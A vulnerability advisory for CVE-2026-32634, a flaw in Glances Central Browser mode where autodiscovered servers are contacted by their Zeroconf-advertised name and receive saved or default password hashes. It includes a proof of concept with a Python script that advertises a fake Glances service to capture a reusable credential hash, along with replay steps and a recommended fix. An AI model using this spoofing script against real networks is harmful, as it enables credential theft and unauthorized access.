CVE-2026-32634: Glances Central Browser Autodiscovery Leaks Reusable Credentials to Zeroconf-Spoofed Servers

Summary

In Central Browser mode, Glances stores both the Zeroconf-advertised server name and the discovered IP address for dynamic servers, but later builds connection URIs from the untrusted advertised name instead of the discovered IP. When a dynamic server reports itself as protected, Glances also uses that same untrusted name as the lookup key for saved passwords and the global [passwords] default credential.

An attacker on the same local network can advertise a fake Glances service over Zeroconf and cause the browser to automatically send a reusable Glances authentication secret to an attacker-controlled host. This affects the background polling path and the REST/WebUI click-through path in Central Browser mode.

Details

Dynamic server discovery keeps both a short name and a separate ip:

python glances/serverslistdynamic.py:56-61 def addserver(self, name, ip, port, protocol='rpc'): newserver = { 'key': name, 'name': name.split(':')[0], # Short name 'ip': ip, # IP address seen by the client 'port': port, ... 'type': 'DYNAMIC', }

The Zeroconf listener populates those fields directly from the service advertisement:

python glances/serverslistdynamic.py:112-121 newserverip = socket.inetntoa(address) newserverport = info.port ... self.servers.addserver( srvname, newserverip, newserverport, protocol=newserverprotocol, )

However, the Central Browser connection logic ignores server['ip'] and instead uses the untrusted advertised server['name'] for both password lookup and the destination URI:

python glances/serverslist.py:119-130 def geturi(self, server): if server['password'] != "": if server['status'] == 'PROTECTED': clearpassword = self.password.getpassword(server['name']) if clearpassword is not None: server['password'] = self.password.gethash(clearpassword) uri = 'http://{}:{}@{}:{}'.format( server['username'], server['password'], server['name'], server['port'], ) else: uri = 'http://{}:{}'.format(server['name'], server['port']) return uri

That URI is used automatically by the background polling thread:

python glances/serverslist.py:141-143 def updatestats(self, server): server['uri'] = self.geturi(server)

The password lookup itself falls back to the global default password when there is no exact match:

python glances/passwordlist.py:45-58 def getpassword(self, host=None): ... try: return self.passworddict[host] except (KeyError, TypeError): try: return self.passworddict['default'] except (KeyError, TypeError): return None

The sample configuration explicitly supports that default credential reuse:

ini conf/glances.conf:656-663 [passwords] Define the passwords list related to the [serverlist] section ... #default=defaultpassword

The secret sent over the network is not the cleartext password, but it is still a reusable Glances authentication credential. The client hashes the configured password and sends that hash over HTTP Basic authentication:

python glances/password.py:72-74,94 For Glances client, get the password (confirm=False, clear=True): 2) the password is hashed with SHA-pbkdf2hmac (only SHA string transit password = passwordhash

python glances/client.py:55-57 if args.password != "": self.uri = f'http://{args.username}:{args.password}@{args.client}:{args.port}'

There is an inconsistent trust boundary in the interactive browser code as well:

- glances/clientbrowser.py:44 opens the REST/WebUI target via webbrowser.open(self.serverslist.geturi(server)), which again trusts server['name'] - glances/clientbrowser.py:55 fetches saved passwords with self.serverslist.password.getpassword(server['name']) - glances/clientbrowser.py:76 uses server['ip'] for the RPC client connection

That asymmetry shows the intended safe destination (ip) is already available, but the credential-bearing URI and password binding still use the attacker-controlled Zeroconf name.

Exploit Flow

1. The victim runs Glances in Central Browser mode with autodiscovery enabled and has a saved Glances password in [passwords] (especially default=...). 2. An attacker on the same multicast domain advertises a fake glances.tcp.local. service with an attacker-controlled service name. 3. Glances stores the discovered server as {'name': <advertised-name>, 'ip': <discovered-ip>, ...}. 4. The background stats refresh calls geturi(server). 5. Once the fake server causes the entry to become PROTECTED, geturi() looks up a saved password by the attacker-controlled name, falls back to default if present, hashes it, and builds http://username:hash@<advertised-name>:<port>. 6. The attacker receives a reusable Glances authentication secret and can replay it against Glances servers using the same credential.

PoC

Step 1: Verified local logic proof

The following command executes the real glances/serverslist.py geturi() implementation (with unrelated imports stubbed out) and demonstrates that:

- password lookup happens against server['name'], not server['ip'] - the generated credential-bearing URI uses server['name'], not server['ip']

bash cd D:\bugcrowd\glances\repo @' import importlib.util import sys import types from pathlib import Path

pkg = types.ModuleType('glances') pkg.apiversion = '4' sys.modules['glances'] = pkg

clientmod = types.ModuleType('glances.client') class GlancesClientTransport: pass clientmod.GlancesClientTransport = GlancesClientTransport sys.modules['glances.client'] = clientmod

globalsmod = types.ModuleType('glances.globals') globalsmod.jsonloads = lambda x: x sys.modules['glances.globals'] = globalsmod

loggermod = types.ModuleType('glances.logger') loggermod.logger = types.SimpleNamespace( debug=lambda a, k: None, warning=lambda a, k: None, info=lambda a, k: None, error=lambda a, k: None, ) sys.modules['glances.logger'] = loggermod

passwordlistmod = types.ModuleType('glances.passwordlist') class GlancesPasswordList: pass passwordlistmod.GlancesPasswordList = GlancesPasswordList sys.modules['glances.passwordlist'] = passwordlistmod

dynamicmod = types.ModuleType('glances.serverslistdynamic') class GlancesAutoDiscoverServer: pass dynamicmod.GlancesAutoDiscoverServer = GlancesAutoDiscoverServer sys.modules['glances.serverslistdynamic'] = dynamicmod

staticmod = types.ModuleType('glances.serversliststatic') class GlancesStaticServer: pass staticmod.GlancesStaticServer = GlancesStaticServer sys.modules['glances.serversliststatic'] = staticmod

spec = importlib.util.specfromfilelocation('testedserverslist', Path('glances/serverslist.py')) mod = importlib.util.modulefromspec(spec) spec.loader.execmodule(mod) GlancesServersList = mod.GlancesServersList

class FakePassword: def getpassword(self, host=None): print(f'lookup:{host}') return 'defaultpassword' def gethash(self, password): return f'hash({password})'

sl = GlancesServersList.new(GlancesServersList) sl.password = FakePassword() server = { 'name': 'trusted-host', 'ip': '203.0.113.77', 'port': 61209, 'username': 'glances', 'password': None, 'status': 'PROTECTED', 'type': 'DYNAMIC', }

print(sl.geturi(server)) print(server) '@ | python -

Verified output:

text lookup:trusted-host http://glances:hash(defaultpassword)@trusted-host:61209 {'name': 'trusted-host', 'ip': '203.0.113.77', 'port': 61209, 'username': 'glances', 'password': 'hash(defaultpassword)', 'status': 'PROTECTED', 'type': 'DYNAMIC'}

This confirms the code path binds credentials to the advertised name and ignores the discovered ip.

Step 2: Live network reproduction

1. Configure a reusable browser password:

ini glances.conf [passwords] default=SuperSecretBrowserPassword

2. Start Glances in Central Browser mode on the victim machine:

bash glances --browser -C ./glances.conf

3. On an attacker-controlled machine on the same LAN, advertise a fake Glances Zeroconf service and return HTTP 401 / XML-RPC auth failures so the entry becomes PROTECTED:

python from zeroconf import ServiceInfo, Zeroconf import socket import time

zc = Zeroconf() info = ServiceInfo( "glances.tcp.local.", "198.51.100.50:61209.glances.tcp.local.", addresses=[socket.inetaton("198.51.100.50")], port=61209, properties={b"protocol": b"rpc"}, server="ignored.local.", ) zc.registerservice(info) time.sleep(600)

4. On the next Central Browser refresh, Glances first probes the fake server, marks it PROTECTED, then retries with:

text http://glances:<pbkdf2hashofdefaultpassword>@198.51.100.50:61209

5. The attacker captures the Basic-auth credential and can replay that value as the Glances password hash against Glances servers that share the same configured password.

Impact

- Credential exfiltration from browser operators: An adjacent-network attacker can harvest the reusable Glances authentication secret from operators running Central Browser mode with saved passwords. - Authentication replay: The captured pbkdf2-derived Glances password hash can be replayed against Glances servers that use the same credential. - REST/WebUI click-through abuse: For REST servers, webbrowser.open(self.serverslist.geturi(server)) can open attacker-controlled URLs with embedded credentials. - No user click required for background theft: The stats refresh thread uses the vulnerable path automatically once the fake service is marked PROTECTED. - Affected scope: This is limited to Central Browser deployments with autodiscovery enabled and saved/default passwords configured. Static server entries and standalone non-browser use are not directly affected by this specific issue.

Recommended Fix

Use the discovered ip as the only network destination for autodiscovered servers, and do not automatically apply saved or default passwords to dynamic entries.

python glances/serverslist.py

def getconnecthost(self, server): if server.get('type') == 'DYNAMIC': return server['ip'] return server['name']

def getpreconfiguredpassword(self, server): # Dynamic Zeroconf entries are untrusted and should not inherit saved/default creds if server.get('type') == 'DYNAMIC': return None return self.password.getpassword(server['name'])

def geturi(self, server): host = self.getconnecthost(server) if server['password'] != "": if server['status'] == 'PROTECTED': clearpassword = self.getpreconfiguredpassword(server) if clearpassword is not None: server['password'] = self.password.gethash(clearpassword) return 'http://{}:{}@{}:{}'.format(server['username'], server['password'], host, server['port']) return 'http://{}:{}'.format(host, server['port'])

And use the same getpreconfiguredpassword() logic in glances/clientbrowser.py instead of calling self.serverslist.password.getpassword(server['name']) directly.